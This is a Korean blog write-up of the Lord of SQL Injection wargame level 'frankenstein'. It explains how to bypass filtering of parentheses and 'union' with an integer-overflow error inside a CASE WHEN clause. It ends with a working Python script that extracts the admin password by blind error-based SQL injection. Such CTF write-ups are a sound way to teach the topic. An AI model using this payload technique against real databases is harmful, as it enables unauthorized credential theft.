Web Hacking/LOS

Lord of SQL Injection - frankenstein

Lucvs 2021. 9. 1. 09:00

Blind & Error-Based SQL Injection 문제인 것 같다. 싱글쿼터는 필터링하지 않아서 문자열 탈출은 수월하게 이루어질 것 같다. 그런데 필터링에 괄호들과 'union' 이 존재한다. 서브쿼리와 함수는 이용하지 못할 것 같다. 코드의 첫 번째 paragraph를 보면 마지막 line에 query에 error가 존재하면 "error"라는 문자열 페이지로 exit 된다. 

 

바로 이것을 이용하면 될 것 같다. 우선 오류를 어떻게 만들어 내야할지 고민해야 한다. union을 사용할 수 없기 때문에 subquery로 하여금 select으로 뽑아낼 2개의 columns 보다 많은 수의 column들을 뽑아 오류를 발생시키는 것은 불가능하다. 이때 정수의 범위를 벗어나게 하여 오류를 발생시킬 수 있다. 저번에 exp(720) 함수를 이용하여 정수 범위를 벗어나게 하는 방법을 쓴 적이 있다. 이번 문제에서는 괄호를 사용하지 못하기 때문에 다른 방법으로 정수의 범위를 벗어나게 만들어야 한다. 

 

그 방법에는 아주 큰 값을 return 하는 방법이 있다.

0xffffffff * 0xfffffffff 를 전달하였을 때
0xfffffff * 0xffffffff 를 전달하였을 때

위와 같이 간단한 테스트를 해보면 0xFFFFFFFF*0xFFFFFFFF 까지는 정수의 범위 안으로 처리되고, 0xFFFFFFFF*0xFFFFFFFFF 에서는 오류가 발생하는 것을 볼 수 있다.

 

그리고 우리는 이전의 경우에서 if 문을 활용하여 조건문이 참이라면 오류 query를 보내는 방식을 사용하였다. 하지만 if 문은 괄호를 필히 사용해야 하기 때문에 이 문제에서는 적용되지 않는다. 그렇다면 사용할 수 있는 방법이 case 문이다. case 문의 사용 방법은 다음과 같다.

~ case when [조건문] then [참일 때 수행할 작업] else [거짓일 때 수행할 작업] end

이제 문제를 어느정도 살펴볼 수 있을 것 같다. pw의 길이를 구하는 length 함수도 역시 괄호 필터링으로 인하여 사용하지 못하기 때문에 단순하게 와일드카드를 이용하는 방법을 사용해야 할 것 같다.

 

주의해야 할 점은 와일드카드를 쓸 때 '%'가 아닌 '%25'로 전달해야 하는 점이다. assassin 문제에서는 와일드카드가 포함된 문자열을 $_GET[pw방식으로 직접 전달받지만, 이번 문제에서는 case 문 내에서 전달한다. assassin 문제에서는 '{$_GET[pw]}' 과 같이 싱글쿼터를 사용하여 문자열로 받아오기 때문에 '%' 그대로 전달해줘도 되는 것 같다.

 

바로 exploit code를 작성하자.

 

import requests

requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php"
header  = {'Cookie': 'PHPSESSID='}
session = requests.session()


# Check Length of PW
admin_pw   = ''

for i in range(0, 20):
    for j in range(48, 123):
    
        payload = "?pw=' or case when id='admin' and pw like '" + admin_pw + chr(j) + "%25' then 0xffffffff*0xfffffffff else 1 end%23"
        res     = session.get(url = org_url + payload, headers=header, verify=False)
        
        if "php" not in res.text:
            admin_pw += chr(j)
            admin_pw = admin_pw.replace('_', '')
            print("Current PW is [ %s ]" % admin_pw)
            break

            
# Result
print("\n\nRESULT\n------------------")
print("PW --> %s\n" % admin_pw)